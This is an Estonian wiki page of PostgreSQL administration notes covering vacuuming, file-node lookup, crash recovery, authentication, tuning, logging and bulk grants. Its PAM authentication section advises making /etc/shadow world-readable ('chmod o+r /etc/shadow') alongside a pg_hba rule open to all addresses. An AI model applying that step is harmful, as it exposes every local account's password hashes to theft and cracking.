* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
